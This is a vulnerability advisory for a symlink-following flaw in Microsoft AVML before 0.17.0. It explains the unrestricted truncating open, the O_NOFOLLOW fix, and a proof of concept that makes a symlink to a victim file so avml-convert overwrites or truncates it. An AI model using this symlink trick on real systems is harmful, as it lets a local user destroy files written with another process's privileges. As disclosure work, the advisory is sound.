Microsoft AVML before 0.17.0 could follow a symlink when opening a destination output path on Unix. If the destination path is a symlink, AVML follows it and truncates or overwrites the symlink target. The destructive open happens through O_TRUNC at open time, and it occurs before the input is fully validated. An invalid input still leaves the target truncated to zero, which is why this is described as truncation before validation.
Affected: all versions before 0.17.0, including the 0.16.x line.
Fixed: 0.17.0. The fix adds O_NOFOLLOW to the Unix destination open so AVML no longer follows a symlink when creating the output file.
Product: Microsoft AVML (microsoft/avml)
Type: CWE-59, Improper Link Resolution Before File Access
Impact: integrity and availability. The symlink target is truncated or overwritten with the privileges of the process running AVML, including the case where AVML later exits with an error after the truncation has already taken place.
Threat model: a local user who can create or replace the destination path with a symlink before AVML opens it. This is most relevant on shared or staging output directories used in forensic and incident response workflows, where the output path is often predictable and writable by more than one user.
On Unix, the destination output path is opened using OpenOptions with create and truncate set, and without any open time symlink restriction.
OpenOptions::new()
.create(true)
.truncate(true)
.write(true)
.open(path)Because there is no O_NOFOLLOW at open time, a symlink at the destination path is followed and its target is truncated. The truncation is applied by the kernel the moment the file is opened, so a parsing failure later in the pipeline does not undo it.
Pre fix code paths (commit 2732a12):
Destination open in open_dst: https://github.com/microsoft/avml/blob/2732a12a0ee4ef7179b191ee1663e3a9d455d3ee/src/image.rs#L191-L199
Early destination open in Image::new, where truncation happens before validation: https://github.com/microsoft/avml/blob/2732a12a0ee4ef7179b191ee1663e3a9d455d3ee/src/image.rs#L207-L234
CLI call sites in avml-convert: https://github.com/microsoft/avml/blob/2732a12a0ee4ef7179b191ee1663e3a9d455d3ee/src/bin/avml-convert.rs#L19-L45
The following runs in a controlled directory against a harmless victim file. It shows two things: a symlink target being overwritten, and the same target being truncated even when the input is invalid and the tool exits with an error.
Build:
cargo build --releaseCreate a minimal valid LiME input with a one byte payload:
python3 - <<'PY'
import struct
LIME_MAGIC = 0x4c694d45 # "EMiL" little-endian
version = 1
start = 0
end_inclusive = 0
padding = 0
payload = b'X'
with open("in.lime", "wb") as f:
f.write(struct.pack("<IIQQQ", LIME_MAGIC, version, start, end_inclusive, padding))
f.write(payload)
print("wrote in.lime")
PYCase 1, symlink target overwrite with valid input:
printf "SAFE_TEST_FILE\n" > victim.txt
ln -sf victim.txt out.lime
./target/release/avml-convert --source-format lime --format lime_compressed in.lime out.lime
hexdump -C victim.txt | headResult: victim.txt no longer contains its original text. Its content now begins with the LiME header EMiL, proving the symlink target was written through.
Case 2, truncation before validation with invalid input:
printf "SAFE_TEST_FILE\n" > victim.txt
ln -sf victim.txt out.lime
printf "NOT_A_LIME\n" > bad.lime
./target/release/avml-convert --source-format lime --format lime_compressed bad.lime out.lime; echo "exit=$?"
ls -l victim.txtResult: the tool exits with a non zero status because the input is not valid LiME, yet victim.txt is already size zero. The destination was truncated at open time before the input was rejected.
Capturing the relevant syscalls:
strace -o trace.log -f -e trace=openat,openat2,ftruncate,truncate,write \
./target/release/avml-convert --source-format lime --format lime_compressed in.lime out.lime || true
grep -E 'openat2?\(|out\.lime|O_TRUNC|write\(' trace.logThe destination is opened with O_TRUNC and without O_NOFOLLOW, then written:
openat(AT_FDCWD, "out.lime", O_WRONLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0600) = 4
write(4, "EMiL\1\0\0\0...", 32) = 32
write(4, "X", 1) = 1
The absence of O_NOFOLLOW is the core of the issue. The kernel resolves the symlink and truncates the target as part of the open call.
The upstream fix adds O_NOFOLLOW to the Unix destination open through custom_flags, so a symlink at the destination path causes the open to fail instead of following the link.
Pull request: microsoft/avml#754
Files changed, showing custom_flags(O_NOFOLLOW): https://github.com/microsoft/avml/pull/754/files
Release with the fix: https://github.com/microsoft/avml/releases/tag/v0.17.0
Reported by Ali Firas (thesmartshadow)